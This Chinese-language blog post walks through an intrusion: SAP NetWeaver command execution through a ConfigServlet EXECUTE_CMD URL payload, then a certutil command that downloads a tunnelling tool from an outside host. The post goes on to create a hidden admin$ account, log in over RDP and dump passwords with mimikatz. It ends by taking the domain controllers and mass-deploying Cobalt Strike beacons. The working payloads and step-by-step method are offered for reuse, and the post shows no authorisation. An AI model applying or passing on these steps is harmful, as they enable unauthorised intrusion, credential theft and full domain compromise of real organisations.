MENU

记一次命令执行到内网渗透拿下域控

August 12, 2019 • 渗透测试,安全工具,内网渗透,后渗透,实战

目标站采用SAP NetWeaver 是SAP的集成平台

SAP命令执行payload为网址+命令

Windows执行

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c net user

Linux执行

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=id

由于提前得知目标为Windows机器,直接在目标网站执行net user,得到如下结果

1.png

查看当前用户,权限以及网络信息

2.png

3.png

4.png

得到当前用户sapxxx为administrator权限,同时为内网机器,那么就可以直接执行Windows自带的下载命令,来下载一个狗洞,用来转发流量。

当然你可以直接执行比如CS、MSF、以及你自己的远控等等,但是要考虑免杀问题,就用狗洞来操作。

Windows下载命令为

certutil -urlcache -split -f http://8.8.8.8/test.exe C:\test.exe

下载好之后,首先要用狗洞服务端在你自己外网服务器打开一个监听功能,

目标机器执行上线命令

然后等待上线

5.png

成功上线后,自己电脑连接狗洞

出现此提示为连接成功,之后用代理软件,比如Proxifier或者Sockscap等工具代理本机127.0.0.1 8088端口

6.png

然后用命令执行去添加一个管理权限的用户
根据上面ipconfig得到的内网ip10.85.x.x,直接连接其3389
成功添加账号admin$,直接登陆成功
在这里友情提示下,内网中存在域时,登陆账号要选择当前域计算机用户去登陆,不然会登陆不上

7.png

8.png

执行查询域管机命令发现没权限,然后用猕猴桃抓取一下本机账号密码,

9.png

使用administxxx账号,ATxxx域去登陆,查询域管机与域管用户

10.png

巧了不是,直接用得到的ATxxx\Administxxx去登陆SRV-DC-xx或者SRV-MAIN-xx
ping SRV-DC-xx和SRV-MAIN-xx得到ip

11.png

12.png

登录后

13.png

14.png

既然内网机器并无杀软,那么尝试上一个cs批量上线吧,搭建好cs服务端,直接生成文件在域控机上执行

等待机器上线后,右键执行猕猴桃,或者转储hash,让他自动获取密码

15.png

然后执行net view或者arp -a来获取目标ip

16.png

17.png

然后到目标处随便框选几台机器,当然你也可以全部选择,右键,登陆

18.png

然后选择你刚才搞出来的账号密码,选择一个监听器,坐等机器上线即可

19.png

最后给各位大佬比心,PS:有指教请您留言

20.png

Last Modified: November 7, 2019
Leave a Comment

已有 1 条评论
  1. ala

    真棒!学到了,谢谢大佬